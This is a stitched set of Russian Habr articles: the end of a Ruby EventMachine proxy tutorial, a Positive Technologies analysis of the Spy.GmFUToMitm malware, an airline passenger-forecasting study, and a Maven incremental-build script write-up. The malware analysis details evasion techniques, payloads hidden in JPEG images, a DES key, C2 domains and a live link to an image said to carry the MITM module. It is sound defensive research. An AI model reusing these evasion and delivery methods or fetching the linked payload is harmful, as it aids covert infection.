send_object obj
@callback = block
end
end
#simple connection pool using EM queue, default size 10
class ConnectionPool
def initialize(conf)
@pool_size = conf[:size] || 10
@connections = []
@query_queue = EM::Queue.new
start\_queue conf
end
def queue\_worker\_loop
proc{ |connection|
@query_queue.pop do |request|
connection.send\_request(request[:obj]) do |response|
request[:callback].call response #if request[:callback]
queue\_worker\_loop.call connection
end
end
}
end
def start\_queue(conf)
@pool_size.times do
connection = EM.connect('0.0.0.0', 8080, EMConnection)
@connections << connection
queue\_worker\_loop.call connection
end
end
def request(obj, █)
@query_queue.push :obj => obj, :callback => block
end
end`
Теперь перейдем к коду, отвечающему за работу прокси демона. Его работа заключается в инициализации пула соединений, конечно, это можно сделать и не коде демона, но так пул будет инициализирован только, когда он понадобится. При получении объекта от клиента он передает объект и блок кода очереди пула соединений, и когда будет получен ответ от абстрактного сервера, отсылает сообщение обратно клиенты и закрывает соединение с помощью метода **close\_connection\_after\_writing**, удостоверившись, что сообщение полностью отослано клиенту ( в отличии от метода **close\_connection**, который сразу закрывает соединение).
`module DaemonServer
include EM::P::ObjectProtocol
def post\_init
@@connections_pool ||= ConnectionPool.**new**(:size => 5)
end
def receive\_object(obj)
@@connections_pool.request obj do |response|
send_object(response)
close_connection_after_writing
end
end
end`
Теперь перейдем к скриптам, отвечающим за запуск сервера, клиентов и прокси демона.
Сервер запускаем на TCPSocket. Тут все очень просто.
`EventMachine.run {
EventMachine.start_server "127.0.0.1", 8080, SocketServer
}`
С клиентами чуть посложнее, так как необходимо дать возможность задавать количество эмулируемых клиентов, что реализовано путем передачи параметра при запуске скрипта. Запуск клиента на Unix Domain Socket отличается от случая c TCP Socket, только вызовом **connect\_unix\_domain** вместо **connect** и передачей вместо ip адреса и порта, имени файла первым аргументом функции.
`tc = ARGV[ 0].to_i
TOTAL_CONNECTIONS = tc > 0 ? tc : 25
file = File.expand_path('../tmp/daemon.sock',\_\_FILE\_\_)
p "Starting #{TOTAL\_CONNECTIONS} client(s)"
EventMachine::run {
TOTAL_CONNECTIONS.times{ EM.connect_unix_domain(file, EMClient) }
}`
Для того, чтобы прокси стал демоном, его, конечно, нужно демонизировать (капитан). Для этого я использовал гем **'daemons'**. В случае если скрипт запускает с ключом -d, происходит его демонизация, путем вызова метода **Daemons.daemonize** с дополнительными опциями, определяющими где хранить логи и файл содержащий pid процесса, для того, чтобы демон можно было затем остановить.
`options = {
:app_name => 'ProxyServer',
:backtrace => true,
:log_output => true,
:dir_mode => :normal,
:dir => File.expand_path('../tmp',\_\_FILE\_\_)
}
file = File.expand_path('../tmp/daemon.sock',\_\_FILE\_\_)
File.unlink(file) if File.exists?(file)
Daemons.daemonize(options) if ARGV.index('-d')
EventMachine::run {
EventMachine::start_unix_domain_server(file, DaemonServer)
}`
Я считаю, что практически любой код без тестов стоит очень мало, даже если он рабочий, так как может доставить очень много проблем и головной боли в будущем как тому, кто его писал, так и тем, кому его нужно править.
Существует готовое решение для тестирования программ, созданных на базе EM, — [EMSpec](https://github.com/tmm1/em-spec). Но я им не воспользовался и поэтому продемонстрирую, как можно обойтись без него, используя [rspec](http://rspec.info/).
Для начала нужно создать тестовый клиент. В нем определим метод **send\_request(obj, █)**, позволяющий отсылать запросы прокси демону и задавать колбек в виде блока кода, который будет вызван, когда клиент получит ответ. Также создадим метод **onclose=(proc)**, который будет определять колбек, который будет вызываться при закрытии соединения.
`module TestClient
include EM::P::ObjectProtocol
#on object received callback
def receive\_object(obj)
@onresponse.**call**(obj)
p "Client received object: #{obj.inspect}"
end
def send\_request obj, █
@onresponse = block
send_object obj
end
# on disconnect callback
def onclose=(proc)
@onclosed = proc
end
def unbind
@onclosed.call
end
end`
Теперь можно перейти к созданию методов, который позволят тестировать написанный код. Первый метод **start\_serv** отвечает за запуск сервера, тестового клиента и прокси, при этом, принимает аргументом блок, который получит в свое распоряжение переменную client, позволяющую производить манипуляции с клиентом. Метод **timer** нужен на случай, если что-то пойдет не так, и клиент не получит ответ от сервера, тогда rspec выдаст, что тест не пройден, а не просто зависнет. Основой для тестов послужит метод **server\_test**, который использует вышеуказанные методы для запуска сервера, клиента и прокси, определяет, что при закрытии соединения реактор нужно остановить, а также принимает аргументом запрос, который должен быть послан клиентом серверу.
`module HelperMethods
def start\_serv
File.unlink(SOCK_FILE) if File.exists?(SOCK_FILE)
EM.run {
EventMachine.start_server "127.0.0.1", 8080, SocketServer
EventMachine.start_unix_domain_server(SOCK_FILE, DaemonServer)
client = EM.connect_unix_domain(SOCK_FILE, TestClient)
yield client
}
end
# if request takes to long it will show fail
def timer start
timeout = 6
EM.add_timer(timeout){
(Time.now-start).should be_within( 0).of(timeout)
EM.stop
}
end
#main wrapper for test starts server daemon and client
def server\_test request
time = Time.now
start\_serv do |client|
client.send_request request do |response|
yield response
end
client.onclose= lambda{EM.stop}
timer(time)
end
end
end`
Для примера, приведу тест, проверяющий, что данное задание выполняется корректно.
`describe "on sending test request" do
include HelperMethods
it "should responsend with right answer" do
server_test({'id'=> 0, 'text' => "req1"}) do |response|
response['text'].should == "answ1"
response['id'].should == 0
end
end
end`
Вот, собственно, и все, надеюсь эта статья будет кому-нибудь полезна. Весь код доступен на [житхабе](https://github.com/playa/em_proxy_example).
P.S. Получилось довольно много текста, кто осилил дочитать до конца, тем спасибо. | https://habr.com/ru/post/126231/ | null | ru | null |
# Как создатели вредоносного софта пытаются избежать его обнаружения: разбираем на примере Spy.GmFUToMitm
[](https://habr.com/ru/company/pt/blog/477916/)
*Изображение: [Unsplash](https://unsplash.com/photos/NodtnCsLdTE)*
Специалисты экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили интересный образец вредоносного ПО, распространяющийся в китайском сегменте интернета. Этот софт используется, среди прочего, для осуществления MITM-атак, а главная его особенность заключается в сочетании различных техник ухода от детектирования. Мы решили разобрать их, чтобы показать, как разработчики вредоносного софта скрывают его активность.
С чего все началось
-------------------
Система анализа сетевого трафика обратила наше внимание на то, что вредоносное приложение регулярно запрашивает изображение с включенным в него дополнительным контентом. Загрузка происходила с легитимного ресурса для хранения изображений — imgsa.baidu.com. К тому же, как выяснилось, это была картинка с зашкаливающим уровнем милоты :) И как же кощунственно после этого выглядела попытка злоумышленников использовать его для сокрытия различных вредоносных нагрузок!
*Рис. 1. Изображение, используемое для сокрытия факта доставки полезной нагрузки*
Для начала, чтобы собрать исходные данные и сравнить образцы, мы организовали поиск похожих семплов — и обнаружили несколько. Это стало возможным благодаря характерным данным в сетевом взаимодействии и наличию у нас обширной базы вредоносного трафика. В частности, в сетевом трафике можно видеть явный паттерн, закономерность, заключающуюся в повторении одних и тех же действий со стороны вредоносного приложения.
*Рис. 2. Сетевой трафик с отмеченными паттернами*
Мы изучили первый запрос, в ответ на него сервер возвращал зашифрованную конфигурацию (рис. 3), содержащую адреса изображений, в которых содержалась полезная нагрузка. Эти данные хранятся по адресу `hxxp://63634[.]top:8081/koded`.
*Рис. 3. Зашифрованная конфигурация*
Расшифровка данных
------------------
Расшифровываются полученные данные алгоритмом DES в режиме электронной кодовой книги ключом 0x6a 0x5f 0x6b 0x2a 0x61 0x2d 0x76 0x62, содержащимся в теле вредоносной программы. После расшифрования открытый текст представляет собой строки (рис. 4), каждая из которых содержит ссылку на изображение. Исходя из равенства MD5-хешей, это одно и то же изображение. Видимо, для устойчивости схемы доставки злоумышленники расположили одни и те же данные по разным адресам.
*Рис. 4. Пример расшифрованной конфигурации загрузчика*
Используя полученные данные, вредоносный загрузчик следующим этапом инициирует скачивание изображения. Отсекает от него первые 5120 байт (утенка и щенка) и использует только полезную нагрузку (рис. 5), которая следует сразу начиная с 5121-го байта.
*Рис.5. Пример полезной нагрузки.*
После расшифрования данных мы получили очередную конфигурацию формата, аналогичного тому, что был получен на первом шаге. То есть еще одну порцию ссылок на изображения, но на этот раз все MD5-хеши разные и в конце каждой строки есть суффиксы из двух символов:
*Рис. 6. Второй набор ссылок и подозрительные суффиксы*
Алгоритм работы вредоноса
-------------------------
Теперь это уже настоящие модули полезной нагрузки. Как выяснилось, два символа в конце каждой строки используются для выбора конкретного изображения, то есть конкретной полезной нагрузки. Сперва используется строка с суффиксом «AD» (рис. 7). Данный выбор уже предопределен на этапе создания вредоносной программы. То есть последовательность нагрузок задана заранее в виде двухзначных суффиксов.
*Рис. 7. Выбор ссылки с суффиксом «AD»*
Скачанное изображение уже содержит вредоносный модуль, это можно сказать хотя бы исходя из его размера. Данные все так же замаскированы под изображения и располагаются по такому же смещению в 5120 байт. Отбросив лишние байты, загрузчик извлекает, проверяет хеш-сумму и затем расшифровывает в PE-файл модуль под названием TkRep.dll.
*Рис. 8. Пример зашифрованного модуля в теле изображения и его хеш-сумма*
Данная библиотека подгружается во вредоносный процесс и первым делом проверяет среду, в которой запущен модуль:
*Рис. 9. Проверка среды виртуализации*
Проверяет среди запущенных процессов наличие процессов с именами devenv.exe, OLLYDBG.EXE, Dbgview.exe, windbg.exe, MSDEV.exe, Delphi32.exe, E.exe, PCHunter32.exe, PCHunter64.exe — а также наличие антивирусных средств.
*Рис. 10. Проверка процессов*
Делает стандартную проверку на отладку.
*Рис. 11. Проверка запуска процесса в контексте отладчика*
Проверяет наличие среди открытых пайпов тех, что указаны в таблице.
| | | |
| --- | --- | --- |
| \\.\FltMouseKb | \\.\GameGuard | \\.\GxWfpFlt |
| \\.\XxGamesFilter | \\.\GpeNetSafe | \\.\TeSafe |
| \\.\Sdriver | \\.\PowerChange | \\.\xspeed |
| \\.\gmMemProt | \\.\diafahbb | |
Следующим шагом регистрирует инфицированный узел на сервере злоумышленников, отправляя POST-запросом протокола HTTP информацию о зараженном узле в зашифрованном виде (рис. 12).
*Рис. 12. Запрос для регистрации на сервере злоумышленников*
Примечательно то, что ответ от сервера всегда содержит одни и те же данные, и более того, клиентом учитывается только код ответа сервера.
Как вредоносный софт скрывает свою активность
---------------------------------------------
В соответствии с заданной последовательностью полезных нагрузок переходим к изучению следующей. Ее суффикс — «AR». Клиент, в соответствии с существующей схемой, скачивает с сервиса хранения изображений Baidu Images очередную конкатенацию изображения с зашифрованной нагрузкой, расшифровывает модуль и запускает его в новом процессе со случайным именем. На наш взгляд, данная функциональность служит для придания вредоносному приложению вида безвредного. Часто это клиент онлайн-игры (рис. 13). И это была очередная техника маскировки.
*Рис. 13. Интерфейс онлайн-игры*
После проведения этого отвлекающего маневра вредоносный процесс переходит к стадии закрепления на инфицированном узле. Для этого он использует функциональность, схожую с функциональностью rootkit-программ. В частности, внедрение собственного защищенного драйвера в систему.
И вот как это происходит. Из расшифрованной конфигурации выбирается нагрузка с суффиксом «AE». Это библиотека TaskReportDLL.dll. У нее те же функции, как у библиотеки TkRep.dll из предыдущего этапа, — отправить информацию о системе и проверить наличие защитных средств.
Затем скачивается библиотека RealWorkDll.dll. Среди функций RealWorkDll.dll важным является скачивание драйвера, частично защищенного с помощью VMPROTECT, и PE-файла, который этот драйвер установит в системе.
*Рис. 14. Путь к базе данных драйвера*
Затем удаляются PE-файлы, используемые для установки драйвера, и на этом данный этап закрепления завершен.
Поиск по строке базы данных драйвера привел нас в репозиторий зеркала ресурса rootkit[.]com, в котором был обнаружен [экземпляр руткита FUTo](https://github.com/bowlofstew/rootkit.com/tree/master/petersilberman/FUTo_enhanced/FUTo/Sys/objfre_wxp_x86) с соответствующим именем в пути — «objfre\_wxp\_x86» (рис. 14). В блоге нашей компании данный руткит [рассматривался еще в 2006 году](https://www.securitylab.ru/analytics/270346.php).
Рассмотрим подробнее работу в системе драйвера SDriverBlogx86, установленного модулем RealWorkDll.dll. На первом этапе в сеть уходят регистрационные данные клиента. В качестве запроса применяется POST, но теперь уже на порт с номером 8081 (рис. 15). Видимо, этот порт используется для приема данных, если активность на инфицированной системе достигла этапа активизации руткита «FUTo».
*Рис. 15. Запрос на С2 от установленного в системе драйвера*
Обращение на сервер злоумышленников происходит в зашифрованном виде, данные до шифрования представляют собой информацию о системе. Разделители полей данных, формат представления и количество полей совпадают у всех модулей (рис. 16).
*Рис. 16. Информация о системе для идентификации зараженного узла*
Далее механизм работы внедренного в систему драйвера совпадает с инициирующим загрузчиком — с той лишь разницей, что ссылки на изображения на этот раз запрашивались с порта для руткита и путь хранения конфигурации изменился с /koded на /qqwe. Возможно, это как-то связанно с сервисами qq.com и wechat.com.
Список модулей, который получает процесс, содержит список PE-файлов. Но в данном случае вместо двухбуквенного суффикса для выбора нагрузки в конце строки содержится ключ в виде имени файла:
*Рис. 17. Конфигурация, получаемая закрепленным в системе драйвером*
После загрузки изображений полезная нагрузка также расположена по смещению 5120 байт. Структура полезной нагрузки для установленного драйвера включает в себя ключ из предыдущего списка в виде имени файла, а затем сам PE-файл. В отличие от предыдущих этапов здесь полезная нагрузка не зашифрована.
*Рис. 18. Полезная нагрузка, получаемая установленным в системе руткитом*
Среди всех полезных нагрузок, полученных на данном этапе, стоит отметить модуль для проведения MITM-атаки. Его хеш-сумма равна `b9fcf48376083c71db0f13c9e344c0383bafa5b116fbf751672d54940082b99a`, изображение с ним хранится [по этому адресу](http://imgsa.baidu.com/forum/pic/item/7516a582d158ccbf8a7e362716d8bc3eb0354132.jpg).
Полученный модуль проверяет наличие процессов с именами devenv.exe, OLLYDBG.EXE, Dbgview.exe, windbg.exe, MSDEV.exe, Delphi32.exe, E.exe, PCHunter32.exe, PCHunter64.exe, а также процессы ZhuDongFangYu, 360Safe, 360Tray.
В процессе работы с помощью GET-запроса скачиваются сертификаты server.crt, server.key, server.der, startcom.crt.
*Рис. 19. Запрос на получение сертификатов*
Имена классов модуля для проведения MITM-атаки не оставляют сомнений о намерениях злоумышленников (рис. 20).
*Рис. 20. Имена классов модуля для проведения MITM-атаки*
Заключение
----------
Данное вредоносное ПО состоит из загрузчика, файла маскировки, руткит-драйвера и модуля для проведения атаки «человек посередине». Для скрытой доставки полезной нагрузки ПО применяет технику сращивания данных с изображениями формата JPEG. Для командных серверов злоумышленники регистрируют имена в доменных зонах top, bid, а также на базе облачных платформ.
Вот какие методы маскировки активности использовали разработчики вредоносного софта:
* маскировка под легальное приложение,
* маскировка в трафике под изображения,
* закрепление как руткит.
Рассмотренная угроза детектируется системой анализа сетевого трафика [PT Network Attack Discovery](https://www.ptsecurity.com/ru-ru/products/network-attack-discovery/) как Spy.GmFUToMitm.
**IOC**1953db709a96bc70d86f7dfd04527d3d0cb7c94da276ddf8f0ef6c51630a2915
1ab1b2fe3ce0fd37a0bb0814a2cac7e974f20963800f43d2f5478fc88c83a3da
1c8dbaf0a5045e2b4a6787635ded8f51d8e89a18e398c0dd79b1b82a968df1a0
9b7082ac4165b25a3b22f2aafdd41ea5f3512a76693f6a6b3101873a9cded961
9cee3f6d6e39adfa0d4712541c070b9c2423275698be0c6cd6cd8239d8793250
b9fcf48376083c71db0f13c9e344c0383bafa5b116fbf751672d54940082b99a
df3e7b04d988cf5634ec886321cb1ac364a46181e7a63f41f0788753e52dcf34
eb67c1d69eb09e195b8333e12c41a0749e7e186c9439f1e2c30f369712ce2c12
[63634.top](http://63634.top/)
[anli.bid](http://anli.bid/)
[shangdai.bid](http://shangdai.bid/)
[b-blog.oss-cn-beijing.aliyuncs.com](http://b-blog.oss-cn-beijing.aliyuncs.com)
**Авторы**: Дмитрий Макаров, Евгений Устинов, Positive Technologies | https://habr.com/ru/post/477916/ | null | ru | null |
# Прогнозирование авиапассажиропотока между городами РФ
Всем привет!
Это моя первая статья на Хабре, поэтому буду рад комментариям, советам, предложениям и любой реакции.
Я работаю в авиакомпании, занимаюсь анализом продаж, что сильно связано в том числе с планированием и прогнозированием. В условиях, когда российский рынок авиаперевозок сужается, авиакомпании стремятся оптимизировать свою маршрутную сеть, а если и развиваться - то только на направлениях с высоким пассажиропотоком. Дефицит самолетов в условиях санкций делает ошибки непростительными, поэтому своей целью я ставил разработку модели прогнозирования трафика между городами РФ.
Архитектура
-----------
В целом, направления делятся на несколько крупных подгрупп, для которых логично использовать разные паттерны в прогнозировании. Так, например, есть курортные направления из Москвы (Сочи, Крым и прочие), по которым спрос хоть и сезонен, но довольно стабилен. Есть курортные направления из регионов, где спрос сильно сезонен хотя бы по той причине, что рейсы выполняются только летом. В целом, поток на курортных направлениях сильно зависит от количества гостиниц - нельзя уместить миллион туристов в Сочи за раз, если койко-мест - всего 500 тысяч. Существует также отдельный пул вахтовых направлений - по ним спрос всесезонный, который зависит от экономики вахтового региона. Я счел целесообразным решить на первом этапе задачу кластеризации, где я по пулу факторов попробую разделить направления на кластеры, и только потом - задачу регрессии.
Соответственно, в качестве факторов, влияющих на пассажиропоток, я выбрал следующие:
* Тип направления: курортное, вахтовое, деловое (между крупными деловыми центрами)
* Средняя температура в городах и обеспеченность коллективными средствами размещения (для выделения курортных направлений)
* Расстояние между городами
* Сезонность
* Средняя зарплата в городах, население городов, коэффициент мобильности населения и ВРП региона (для выделения вахтовых направлений)
* Годовой пассажиропоток между городами
Глобально, алгоритм должен выглядеть следующим образом:
Концептуальная схема прогностической моделиКластеризация
-------------
Определим вводные данные для кластеризации:
| | |
| --- | --- |
| **Признак** | **Описание** |
| **RSC** | Круговой сегмент |
| **Var** | Месячный к-т вариации |
| **Dist** | Расстояние |
| **Temp\*** | Среднегодовая температура |
| **Population\*** | Население |
| **Total\*** | Годовой пассажиропоток чз город |
| **Mobility\*** | Коэффициент мобильности населения |
| **GRP\*** | ВРП региона |
| **GRP\_per\_capita\*** | ВРП на душу населения в регионе |
| **ZP\*** | Средняя заработная плата в регионе |
\* - парные факторы для города вылета и города прилета
Месячный коэффициент вариации рассчитал как отношение месячного среднего квадратического отклонения к среднемесячному пассажиропотоку - это позволит оценить, насколько в среднем поток нестабилен.
Все факторы, что со звездочкой, были взяты из Росстата, кроме коэффициента мобильности - его на нашел как отношение общего количества вылетевших из города пассажиров к населению города.
Отдельной задачей был расчет расстояния между городами, его я реализовал с помощью библиотеки geopy:
```
from geopy.geocoders import Nominatim
from geopy.distance import geodesic as GD
from math import radians, cos, sin, asin, sqrt
app = Nominatim(user_agent='myencoder', timeout=5)
cities_for_dist = tdf['Город'].unique()
dist = pd.DataFrame(columns=['Dist'], index=cities_for_dist)
def get_dist(city1='Москва', city2='Санкт-Петербург'):
loc1 = app.geocode(city1).raw
loc2 = app.geocode(city2).raw
lat1 = float(loc1['lat'])
lon1 = float(loc1['lon'])
lat2 = float(loc2['lat'])
lon2 = float(loc2['lon'])
dest = distance_1(lat1, lat2, lon1, lon2)
return dest
def distance_1(La1, La2, Lo1, Lo2):
Lo1 = radians(Lo1)
Lo2 = radians(Lo2)
La1 = radians(La1)
La2 = radians(La2)
# Формула Гаверсинуса
D_Lo = Lo2 - Lo1
D_La = La2 - La1
P = sin(D_La / 2)**2 + cos(La1) * cos(La2) * sin(D_Lo / 2)**2
Q = 2 * asin(sqrt(P))
# Радиус земли для расчета расстояния
R_km = 6371
# Итоговый результат
return(Q * R_km)
```
Алгоритм выполнялся довольно долго - для 400 направлений ушло около 20 минут. Поэтому я сразу сохранил его в csv и в следующих итерациях читал csv-файл с расстояниями. Удивительно, что не возникло проблем с распознаванием таких специфических городов, как Игарка, Талакан и Купол.
Я планировал сформировать около 5-10 кластеров, чтобы выборки в каждом кластере были адекватного (не слишком маленького) размера.
Вводные данные выглядят следующим образом:
Вводные данные для кластеризацииДалее я решил отобрать оптимальное число кластеров с помощью коэффициент Силуэта, а заодно подобрать гиперпараметр n\_init. Ситуация сложилась следующим образом:
Видим, что лучшее число кластеров - 7 штук, при гиперпараметре в n\_init равном 2. Хотя коэффициент Силуэта невысокий, этого достаточно, чтобы получить приемлемые результаты. А результаты кластеризации оказались очень интересными.
Кластерная разбивкаВидим, что кластеры разделились очень логично, а при детальном рассмотрении я практически не нашел выбросов в кластерах.
Регрессия
---------
Теперь попробуем построить три модели регрессии: RandomForest, GradientBoosting, CatBoost.
В качестве вводных берем следующие факторы:
| | |
| --- | --- |
| **Признак** | **Описание** |
| **Total** | Пассажиропоток на направлении за год |
| **Var** | Месячный к-т вариации |
| **Dist** | Расстояние |
| **Temp\*** | Среднегодовая температура |
| **Population\*** | Население |
| **Total1\*** | Годовой пассажиропоток чз город |
| **Mobility\*** | Коэффициент мобильности населения |
| **GRP\*** | ВРП региона |
| **GRP\_per\_capita\*** | ВРП на душу населения в регионе |
| **ZP\*** | Средняя заработная плата в регионе |
Вводные для регрессии выглядят так:
После отбора гиперпараметров, вышли следующие результаты:
| | | | |
| --- | --- | --- | --- |
| Модель/Метрика | RandomForest Regressor | GradientBoosting Regressor | CatBoost Regressor |
| R2 | 0,56 | 0,45 | 0,75 |
| MAPE | 29,3% | 30,0% | 53,6% |
Видим, что для всех трех моделей и R2, и MAPE оказались не очень качественными, но для дальнейших исследований я оставлю RandomForest и GradientBoosting.
Вывод
-----
Удалось с умеренной точностью прогнозировать пассажиропоток на московских рейсах с ошибкой менее 30%;
Решение задачи кластеризации позволило осуществить качественное разделение рейсов по подгруппам, что может быть использовано в авиакомпаниях для упрощения анализа и группировки данных.
Рекомендации для себя на будущее я оставил следующие:
1. Добавить фактор емкостей конкурентов для повышения точности модели
2. Включить фактор сезонных мероприятий или перевахтовок для крупных городов
3. Добавить в анализ перемещения между городами в том числе трансферными рейсами
Спасибо за уделенное внимание. Буду рад обратной связи. | https://habr.com/ru/post/713160/ | null | ru | null |
# Maven. Собираем только измененное
Работая в многомодульном maven проекте, зачастую приходится вносить изменения в несколько связанных модулей одновременно. И если хочется собрать только задетые модули, то к сожалению maven не предоставляет ничего автоматического. Если чуть погуглить, то на stackoverflow можно найти простое однострочное решение:
```
mvn install -amd -pl $(svn st | colrm 1 8 | sed 's /.* ' | xargs echo | sed 's- -,:-g' | sed 's ^ : ')
```
На этом можно было бы и закончить. Но мне хотелось большего — чего конкретнее и как я этого добивался под катом.
*Для тех, кто плохо знаком с bash, mvn или svn, небольшое пояснение скрипта:*
1. Основная часть — mvn install -amd -pl *project\_list*. Команда для мейвена, собрать проекты из списка *project\_list* и их зависимые
2. Всё, что внутри `$(...)` — получение локальных изменений в svn и вытаскивание названия проектов из этих изменений
Зачем это надо
--------------
Рассмотрим следующий простой сценарий:
1. Добавляем новый метод в интерфейс Parentable в модуле А
2. Реализуем этот метод в классе Child (implements Parentable) в модуле Б
Чтобы проверить сборку, нужно отдельно собирать А, потом Б. Если меняется только реализация в Child, то достаточно пересобирать только Б. Однако если меняется сигнатура метода, то нужно снова собирать оба модуля.
При такой работе приходится задумываться "а актуальна ли сборка проекта Б". Хорошо, когда проектов 2-3, но если их больше, да ещё и используется refactoring через IDE, то очень легко можно пропустить тот момент, когда сборка перестает быть актуальной.
Что не так со скриптом выше
---------------------------
Скрипт, представленный выше, решает этот вопрос топорно: он всегда собирает А и Б. Это не очень эффективно с точки зрения затрат времени, зато относительно безопасно, т.к. вы не забудете ничего собрать. Я пользовался этим подходом примерно месяц, но потом решил, что лучше забыть собрать, чем тратить это лишнее время.
Помимо этой проблемы, есть ряд других, связанных с особенностями maven, когда этот скрипт просто не работает. О них пойдет речь ниже.
Что было сделано
----------------
Я взял идею этого скрипта за основу и доработал напильником (в данном случае рашпилем). Целью было получить скрипт, который собирает всё, что мы изменили, но ещё не собрали. И при этом ничего больше.
Дорабатывать скрипт на bash'е дело неблагодарное по ряду причин. Поэтому разработка велась на python. Из плюсов:
1. Кроссплатформенность
2. Модульность
3. Он есть почти у всех linux пользователей и многих window пользователей.
4. Простота
Разумеется, хочется, чтобы просто взял и используешь, поэтому из зависимостей только стандартные библиотеки.
Итак, приступим к основной части статьи — описанию того, с каким проблемами пришлось столкнуться и какие решения были использованы.
Что может maven
---------------
Чтобы делать как можно меньше самому, неплохо бы разобраться, какой максимум можно выжать из maven. Максимум оказывается не очень большим. В мейвен можно собирать следующие области:
1. Один проект
2. Один проект и все его модули (рекурсивно)
3. Список модулей внутри одного проекта.
Опция 3 выглядит самой подходящей и именно она используется во вступительном bash скрипте. Из плюсов, при работе с этой опцией можно указывать параметры:
* -amd (also make dependents) — мэйвен также соберет все зависимые модули
* -am (also make) — также соберутся модули, от которых наш список зависит
Для локальной сборки эти опции не очень полезны, т.к. сборку зависимостей (amd) можно возложить на CI и к тому же наша IDE может указать на ошибки компиляции без сборки maven'ом.
А сборка родительских проектов (-am) избыточна, т.к. мы можем вытащить неизмененные проекты из maven репозитория.
К сожалению на этом список того, чем нам может помочь maven, заканчивается. Справедливости ради стоит сказать, что есть специальные сторонние плагины, в т.ч. инкрементальные, но в данном случае приходится работать с тем, что уже есть и менять ничего в проекте для этого нельзя.
### Проблема 1: собираем только фактические изменения
Чтобы понять, что у нас изменилось, удобнее всего использовать статус файлов в системе контроля версий. Однако VCS нам ничего не скажет о том, когда эти изменения были сделаны и включены ли они в сборку. Тем не менее, список всех изменений в VCS это наши активные проекты и отправная точка для дальнейшего анализа.
Чтобы узнать, насколько наши изменения совпадают со сборкой, мы сравниваем дату изменения файлов с датой последней сборки (target/artifact\_id-version.jar).
Для первого приближения хорошо, но есть нюансы, которые необходимо учитывать:
1. Если нам из VCS приходят чужие изменения, то наш проект снова нужно пересобирать
2. target/artifact\_id-version.jar это дефолтное значение. Может быть совершенно другим
3. Измененные файлы могут не иметь отношения к сборке (например, файлик проекта для вашей IDE).
Пункт 1 можно решить анализом не только локально измененных файлов, но и всех файлов в активных проектах.
Две другие проблемы решаются просто получением необходимой информации из pom файла и учёту её при сборке.
### Проблема 2: откат изменений
Если изменения были и мы с ними собрали артефакт, то при откате этих изменений, артефакт нужно пересобрать. Но статус в VCS не дает никакой информации о таких файлах. Следовательно стоит хранить эту информацию самим. Для этого, после анализа текущих изменившихся проектов сохраняем эту информацию где-нибудь и при следующей сборке объединяем текущие изменения и предыдущие, из сохраненного файла.
### Проблема 3: модули, не входящие в основной проект
Правильной структурой maven проекта считается та, в которой каждый проект описан как модуль в родительском проекте. Т.е. выполнив mvn install в корне, мы должны задействовать *все* внутренние проекты.
Всё было бы проще, если бы всё было правильно. Но это не всегда так. В данном случае бывают отвязанные проекты. Правильного maven'а это не устраивает, и если вы подсунете ему такой проект в -pl, то он выплюнет в вас ошибкой, т.к. -pl работает только с теми проектами, которые указаны как submodules в вашем родительском проекте.
Чтобы решить проблему, нужно собирать такие проекты отдельно. Т.е. запуск мэйвена производится столько раз, сколько у нас несвязанных корневых проектов.
Для усложнения — может ещё возникнуть ситуация, когда эти проекты между собой связаны, поэтому собирать нужно в определенном порядке.
### Проблема 4: синхронизация локального maven репозитория
Мейвен всегда делает сборки исходя из артефактов в локальном репозитории. Периодически он может синхронизировать локальный репозиторий и скачивать обновления из глобального репозитория.
Так может возникнуть ситуация, когда вы собрали ваши изменения и больше не меняете файлы. Но рано или поздно ваша локальная сборка будет вытеснена внешними изменениями. Одним из решений является проверка даты изменений не файла в target, а файла в локальном репозитории. И если они отличаются, то нужно делать новый билд.
Однако, уже собранные файлы в target остаются корректными и их оттуда никто не выгонит. И чтобы не делать двойную работу, можно их просто закидывать в локальный репозиторий, вместо того, чтобы делать полную сборку.
### Проблема 5: многословный maven
Это не совсем проблема, но лично для меня всегда вопрос, зачем maven выдает столько логов. Разве что сидеть и медитировать, смотря на пробегающие строчки. Но если всё идет хорошо, мне эти логи нисколько не интересны. Если всё прошло плохо, то логи действительно полезны. Именно по такому принципу я и вывожу логи.
Как приятный бонус к чистому output'у — существенное повышение скорости сборки, т.к. IO далеко не самые дешевые операции.
### Проблема 6: медленный maven против быстрых workaround'ов
Многие проблемы выше можно было бы решить проще, если получать дополнительную информацию от мейвена. Но он очень небыстрый и любые команды выполняет очень долго. Использовать их в цикле — верный способ добавить сильный оверхед по производительности.
Поэтому все проблемы решаются в меру сил и возможностей собственными силами, и мэйвен используется только один раз — для запуска самой сборки.
Однако все попытки обхода мейвена не полноценны и могут не учитывать ряда дополнительных факторов. Их хватает мне на текущей конфигурации проекта, но какие-нибудь более замудрённые конфигурации не учитываются.
Бонус 1: скрипт для билд-сервера
--------------------------------
Всё что описано выше, было написано и используется для локальной сборки, когда мы делаем изменения сами.
Но после удачного опыта использования, я решил, что этот подход можно использовать и на нашем continuous integration сервере и собирать только то, что изменилось между ревизиями. Разумеется, при этом необходимо учитывать большинство проблем, описанных для локальной сборки. Так что оба варианта скрипта идут рука об руку.
Важно, чтобы такая инкрементальная сборка давала абсолютно такой же результат, как и полная. Этого можно легко добиться, используя тот самый maven параметр -amd, описанный выше. Т.е. собирается то, что изменено и/или задето.
Касаемо полученного выигрыша — в нашем случае, среднее время инкрементальной сборки в 10 раз меньше.
*На TeamCity такая возможность есть из коробки. На Bamboo нет. Про другие CI не знаю*
Бонус 2: мини-минификатор python проектов
-----------------------------------------
*Данный раздел не имеет ничего общего с maven или java, и может быть интересен только python'истам*
Скрипт, который я тут описываю, пишется как проект с несколькими модулями, т.к. мне так проще работать с кодом.
Но делиться скриптом, который содержит несколько файлов это не очень удобно.
Как вариант, можно из скриптов собирать единый бинарник и выдавать его. Но в таком случае теряется возможность фиксов на лету и понимания, что там происходит.
Поэтому на скорую руку был написан ещё один скрипт, который принимает на вход python файлик, схлопывает его и все зависимые модули. На выходе получается единый файл. Заодно удаляются ненужные пустые строки.
Эпилог
------
Скрипт, который я тут описываю, используется мной и несколькими коллегами уже год. Скрипт для CI сейчас проходит тестовую эксплуатацию.
Производительность скрипта вполне сносная: его анализ и оптимизации я не замечаю (т.е. они меньше секунды) в рамках наших проектов.
Пока что это работает только с svn, т.к. потребности собирать в других VCS нет. Но по-желанию, можно легко добавить и другие. Благо от VCS там требуется не так много.
→ [Ссылка на проект](https://github.com/bugy/incremaven)
Я буду крайне рад, если мой подход и скрипт позволит ещё кому-то экономить свое время и силы на сборку с мэйвеном
Вопросы, исправления и дополнения крайне приветствуются. | https://habr.com/ru/post/323228/ | null | ru | null |
